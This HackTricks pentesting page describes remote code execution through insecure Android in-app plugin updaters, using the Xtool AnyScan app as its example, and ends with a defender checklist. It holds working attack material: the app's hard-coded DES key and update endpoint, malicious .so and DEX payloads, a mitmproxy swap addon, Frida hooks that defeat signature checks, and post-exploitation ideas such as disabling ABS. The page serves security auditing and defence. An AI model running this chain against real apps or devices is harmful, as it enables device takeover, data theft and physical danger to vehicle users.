hacktricks/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md

11 KiB
Raw Blame History

Insecure In-App Update Mechanisms Remote Code Execution via Malicious Plugins

{{#include ../../banners/hacktricks-training.md}}

Many Android applications implement their own “plugin” or “dynamic feature” update channels instead of using the Google Play Store. When the implementation is insecure an attacker able to intercept or tamper with the update traffic can supply arbitrary native or Dalvik/ART code that will be loaded inside the app process, leading to full Remote Code Execution (RCE) on the handset and in some cases on any external device controlled by the app (cars, IoT, medical devices …).

This page summarises a realworld vulnerability chain found in the Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) and generalises the technique so you can audit other Android apps and weaponise the mis-configuration during a red-team engagement.


0. Quick triage: does the app have an inapp updater?

Static hints to look for in JADX/apktool:

  • Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
  • Network endpoints like /update, /plugins, /getUpdateList, /GetUpdateListEx.
  • Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
  • Dynamic loaders: System.load, System.loadLibrary, dlopen, DexClassLoader, PathClassLoader.
  • Unzip paths writing under app-internal or external storage, then immediately loading a .so/DEX.

Runtime hooks to confirm:

// Frida: log native and dex loading
Java.perform(() => {
  const Runtime = Java.use('java.lang.Runtime');
  const SystemJ = Java.use('java.lang.System');
  const DexClassLoader = Java.use('dalvik.system.DexClassLoader');

  SystemJ.load.overload('java.lang.String').implementation = function(p) {
    console.log('[System.load] ' + p); return this.load(p);
  };
  SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
    console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
  };
  Runtime.load.overload('java.lang.String').implementation = function(p){
    console.log('[Runtime.load] ' + p); return this.load(p);
  };
  DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
    console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
    return this.$init(dexPath, optDir, libPath, parent);
  };
});

1. Identifying an Insecure TLS TrustManager

  1. Decompile the APK with jadx / apktool and locate the networking stack (OkHttp, HttpUrlConnection, Retrofit…).
  2. Look for a custom TrustManager or HostnameVerifier that blindly trusts every certificate:
public static TrustManager[] buildTrustManagers() {
    return new TrustManager[]{
        new X509TrustManager() {
            public void checkClientTrusted(X509Certificate[] chain, String authType) {}
            public void checkServerTrusted(X509Certificate[] chain, String authType) {}
            public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
        }
    };
}
  1. If present the application will accept any TLS certificate → you can run a transparent MITM proxy with a self-signed cert:
mitmproxy -p 8080 -s addon.py  # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator

If TLS pinning is enforced instead of unsafe trust-all logic, see:

{{#ref}} android-anti-instrumentation-and-ssl-pinning-bypass.md {{#endref}}

{{#ref}} make-apk-accept-ca-certificate.md {{#endref}}


2. Reverse-Engineering the Update Metadata

In the AnyScan case each app launch triggers an HTTPS GET to:

https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx

The response body is an XML document whose <FileData> nodes contain Base64-encoded, DES-ECB encrypted JSON describing each available plugin.

Typical hunting steps:

  1. Locate the crypto routine (e.g. RemoteServiceProxy) and recover:
    • algorithm (DES / AES / RC4 …)
    • mode of operation (ECB / CBC / GCM …)
    • hard-coded key / IV (commonly 56bit DES or 128bit AES constants)
  2. Re-implement the function in Python to decrypt / encrypt the metadata:
from Crypto.Cipher import DES
from base64 import b64decode, b64encode

KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan

def decrypt_metadata(data_b64: str) -> bytes:
    cipher = DES.new(KEY, DES.MODE_ECB)
    return cipher.decrypt(b64decode(data_b64))

def encrypt_metadata(plaintext: bytes) -> str:
    cipher = DES.new(KEY, DES.MODE_ECB)
    return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()

Notes seen in the wild (20232025):

  • Metadata is often JSON-within-XML or protobuf; weak ciphers and static keys are common.
  • Many updaters accept plain HTTP for the actual payload download even if metadata comes over HTTPS.
  • Plugins frequently unzip to app-internal storage; some still use external storage or legacy requestLegacyExternalStorage, enabling cross-app tampering.

3. Craft a Malicious Plugin

3.1 Native library path (dlopen/System.load[Library])

  1. Pick any legitimate plugin ZIP and replace the native library with your payload:
// libscan_x64.so  constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
    __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
    // spawn reverse shell, drop file, etc.
}
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
  1. Update the JSON metadata so that "FileName" : "PWNED.zip" and "DownloadURL" points to your HTTP server.
  2. Reencrypt + Base64encode the modified JSON and copy it back inside the intercepted XML.

3.2 Dex-based plugin path (DexClassLoader)

Some apps download a JAR/APK and load code via DexClassLoader. Build a malicious DEX that triggers on load:

// src/pwn/Dropper.java
package pwn;
public class Dropper {
    static { // runs on class load
        try {
            Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
        } catch (Throwable t) {}
    }
}
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex  # the updater will fetch this

If the target calls Class.forName("pwn.Dropper") your static initializer executes; otherwise, reflectively enumerate loaded classes with Frida and call an exported method.


4. Deliver the Payload with mitmproxy

addon.py example that silently swaps the original metadata:

from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()

def request(flow: http.HTTPFlow):
    if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
        flow.response = http.Response.make(
            200,
            MOD_XML,
            {"Content-Type": "text/xml"}
        )

Run a simple web server to host the malicious ZIP/JAR:

python3 -m http.server 8000 --directory ./payloads

When the victim launches the app it will:

  • fetch our forged XML over the MITM channel;
  • decrypt & parse it with the hard-coded crypto;
  • download PWNED.zip or plugin.jar → unzip inside private storage;
  • load the included .so or DEX, instantly executing our code with the apps permissions (camera, GPS, Bluetooth, filesystem, …).

Because the plugin is cached on disk the backdoor persists across reboots and runs every time the user selects the related feature.


4.1 Bypassing signature/hash checks (when present)

If the updater validates signatures or hashes, hook verification to always accept attacker content:

// Frida  make java.security.Signature.verify() return true
Java.perform(() => {
  const Sig = Java.use('java.security.Signature');
  Sig.verify.overload('[B').implementation = function(a) { return true; };
});

// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
  const Arrays = Java.use('java.util.Arrays');
  Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});

Also consider stubbing vendor methods such as PluginVerifier.verifySignature(), checkHash(), or shortcircuiting update gating logic in Java or JNI.


5. Other attack surfaces in updaters (20232025)

  • Zip Slip path traversal while extracting plugins: malicious entries like ../../../../data/data/<pkg>/files/target overwrite arbitrary files. Always sanitize entry paths and use allowlists.
  • External storage staging: if the app writes the archive to external storage before loading, any other app can tamper with it. Scoped Storage or internal app storage avoids this.
  • Cleartext downloads: metadata over HTTPS but payload over HTTP → straightforward MITM swap.
  • Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to developer key; accepting any RSA key present in the archive.
  • React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). Ensure detached update signing and strict verification.

6. Post-Exploitation Ideas

  • Steal session cookies, OAuth tokens, or JWTs stored by the app.
  • Drop a second-stage APK and silently install it via pm install if possible (some apps already declare REQUEST_INSTALL_PACKAGES).
  • Abuse any connected hardware in the AnyScan scenario you can send arbitrary OBDII / CAN bus commands (unlock doors, disable ABS, etc.).

Detection & Mitigation Checklist (blue team)

  • Avoid dynamic code loading and outofstore updates. Prefer Playmediated updates. If dynamic plugins are a hard requirement, design them as dataonly bundles and keep executable code in the base APK.
  • Enforce TLS properly: no custom trustall managers; deploy pinning where feasible and a hardened network security config that disallows cleartext traffic.
  • Do not download executable code from outside Google Play. If you must, use detached update signing (e.g., Ed25519/RSA) with a developerheld key and verify before loading. Bind metadata and payload (length, hash, version) and fail closed.
  • Use modern crypto (AESGCM) with permessage nonces for metadata; remove hardcoded keys from clients.
  • Validate integrity of downloaded archives: verify a signature that covers every file, or at minimum verify a manifest of SHA256 hashes. Reject extra/unknown files.
  • Store downloads in appinternal storage (or scoped storage on Android 10+) and use file permissions that prevent crossapp tampering.
  • Defend against Zip Slip: normalize and validate zip entry paths before extraction; reject absolute paths or .. segments.
  • Consider Play “Code Transparency” to allow you and users to verify that shipped DEX/native code matches what you built (compliments but does not replace APK signing).

References

{{#include ../../banners/hacktricks-training.md}}